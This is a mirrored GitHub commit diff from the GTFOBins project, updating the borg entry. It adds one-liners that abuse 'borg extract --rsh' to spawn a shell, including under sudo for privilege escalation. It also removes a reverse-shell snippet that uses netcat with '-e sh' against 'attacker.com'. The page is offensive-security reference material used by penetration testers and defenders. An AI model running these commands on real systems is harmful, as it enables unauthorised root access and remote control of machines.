mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-13 15:29:39 +01:00
Update borg.md
This commit is contained in:
parent
458b5d2b86
commit
a89f57c149
@ -1,9 +1,6 @@
|
|||||||
---
|
---
|
||||||
|
shell:
|
||||||
|
code: borg extract @:/::: --rsh "sh -c 'sh </dev/tty >/dev/tty 2>/dev/tty'"
|
||||||
sudo:
|
sudo:
|
||||||
- description: Run `nc -lvnp 12345` on the attacker box to receive the shell.
|
code: sudo borg extract @:/::: --rsh "sh -c 'sh </dev/tty >/dev/tty 2>/dev/tty'"
|
||||||
code: |
|
|
||||||
RHOST=attacker.com
|
|
||||||
RPORT=12345
|
|
||||||
NETCAT=/usr/bin/nc
|
|
||||||
sudo borg extract .@.:/::. --rsh "$NETCAT $RHOST $LHOST -e sh"
|
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user